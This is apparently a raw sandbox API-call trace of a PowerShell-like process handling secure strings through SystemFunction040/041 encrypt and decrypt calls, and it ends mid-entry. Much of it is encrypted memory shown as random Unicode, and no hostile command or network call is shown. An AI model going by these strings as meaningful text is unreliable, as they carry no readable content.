(param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘\釞ꥋᛄ㠭电凛") returned 0x28 [0245.767] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.767] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+GG3늣⢽⫁") returned 0x28 [0245.767] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.767] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘里㹷詻봚樞蔑냊쫹⋾) returned 0x28 [0245.767] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘里㹷詻봚樞蔑냊쫹⋾) returned 0x28 [0245.767] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.768] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+GG3C⢽⫁") returned 0x28 [0245.768] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.768] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘飅䵳녎\率獡蟴鳜") returned 0x28 [0245.768] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘飅䵳녎\率獡蟴鳜") returned 0x28 [0245.768] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.768] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+GG3Cm⫁") returned 0x28 [0245.768] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.768] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䛩輔媍ᰴ꭮ྒ誫벛≙) returned 0x28 [0245.768] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䛩輔媍ᰴ꭮ྒ誫벛≙) returned 0x28 [0245.768] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.768] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+GG3Cm3") returned 0x28 [0245.769] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.769] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘ꧩ㗪ꙁ淊䰽አ紐∲) returned 0x28 [0245.769] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘ꧩ㗪ꙁ淊䰽አ紐∲) returned 0x28 [0245.769] SystemFunction041 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.769] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+GG3Cm35") returned 0x28 [0245.769] SystemFunction040 (in: Memory=0x5c9b7a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b7a4) returned 0x0 [0245.769] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䌬筵ኋ쓎阐ᘫⳡ⋮) returned 0x28 [0245.769] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䌬筵ኋ쓎阐ᘫⳡ⋮) returned 0x28 [0245.769] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䌬筵ኋ쓎阐ᘫⳡ⋮) returned 0x28 [0245.770] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䌬筵ኋ쓎阐ᘫⳡ⋮) returned 0x30 [0245.770] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0245.770] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+GG3Cm35b䷖ﰒ瓜鬫鷩鉥⌗") returned 0x30 [0245.770] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0245.770] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䌬筵ኋ쓎阐ᘫⳡ蓮䠲讹尾䗾䲰䚟≷) returned 0x30 [0245.770] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䌬筵ኋ쓎阐ᘫⳡ蓮䠲讹尾䗾䲰䚟≷) returned 0x30 [0245.770] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0245.770] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+GG3Cm35b7ﰒ瓜鬫鷩鉥⌗") returned 0x30 [0245.770] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0245.770] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䌬筵ኋ쓎阐ᘫⳡ痮滇䎌疳雂므怬∠) returned 0x30 [0245.770] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䌬筵ኋ쓎阐ᘫⳡ痮滇䎌疳雂므怬∠) returned 0x30 [0245.770] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0245.771] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+GG3Cm35b7Q瓜鬫鷩鉥⌗") returned 0x30 [0245.771] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0245.771] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䌬筵ኋ쓎阐ᘫⳡ鳮ࢃ佗擁籠총⩠슕≄) returned 0x30 [0245.771] SysStringLen (param_1="죸㿾Ꟛ媲乺쐲\쯞\쇞᪱褰頧㛜丅茨㊶䈦ঊ훶⊹ᢄ뻣뛹ዿⅴ\⟘䌬筵ኋ쓎阐ᘫⳡ鳮ࢃ佗擁籠총⩠슕≄) returned 0x30 [0245.771] SystemFunction041 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0245.771] SysStringLen (param_1="x4EcOdPgMmQL/mNsjx7apE2uNczgPh36+GG3Cm35b7Q=鬫鷩鉥⌗") returned 0x30 [0245.771] SystemFunction040 (in: Memory=0x5c9316c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9316c) returned 0x0 [0245.771] EtwEventActivityIdControl () returned 0x0 [0245.771] EtwEventActivityIdControl () returned 0x0 [0245.771] EtwEventActivityIdControl () returned 0x0 [0245.772] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.772] EtwEventActivityIdControl () returned 0x0 [0245.772] EtwEventActivityIdControl () returned 0x0 [0245.772] EtwEventActivityIdControl () returned 0x0 [0245.773] SysStringLen (param_1="") returned 0x8 [0245.773] SysStringLen (param_1="N") returned 0x8 [0245.773] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.773] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0245.773] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0245.773] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.773] SysStringLen (param_1="ND") returned 0x8 [0245.773] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.773] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0245.773] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0245.773] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.774] SysStringLen (param_1="NDZ") returned 0x8 [0245.774] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.774] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0245.774] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0245.774] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.774] SysStringLen (param_1="NDZl") returned 0x8 [0245.774] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.774] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0245.774] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0245.774] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.774] SysStringLen (param_1="NDZlO") returned 0x8 [0245.775] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.775] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0245.775] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0245.775] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.775] SysStringLen (param_1="NDZlOD") returned 0x8 [0245.775] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.775] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0245.775] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0245.775] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.775] SysStringLen (param_1="NDZlODR") returned 0x8 [0245.775] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.775] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0245.775] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0245.775] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.776] SysStringLen (param_1="NDZlODRm") returned 0x8 [0245.776] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.776] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0245.777] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.777] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0245.777] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0245.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0245.777] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.777] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0245.777] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0245.777] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0245.777] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.777] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0245.778] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0245.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0245.778] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.778] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0245.778] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0245.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0245.778] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.778] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0245.778] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.778] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0245.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0245.779] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.779] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0245.779] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0245.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0245.779] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.779] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0245.779] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0245.779] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0245.779] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.779] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0245.780] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.780] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0245.780] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.780] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0245.780] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0245.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0245.781] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0245.781] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0245.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0245.781] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.781] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0245.781] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0245.781] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0245.781] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.782] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0245.782] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0245.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0245.782] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.782] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0245.782] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0245.782] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0245.782] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.782] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0245.782] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0245.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0245.783] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.783] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0245.783] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.783] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0245.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0245.784] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.784] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0245.784] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.784] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0245.786] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.786] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0245.786] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0245.786] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0245.786] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.786] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0245.787] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0245.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0245.787] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.787] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0245.787] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0245.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0245.787] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.787] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0245.787] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0245.787] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0245.787] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.788] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0245.788] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.788] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0245.788] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0245.788] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.788] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0245.788] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.788] SysStringLen 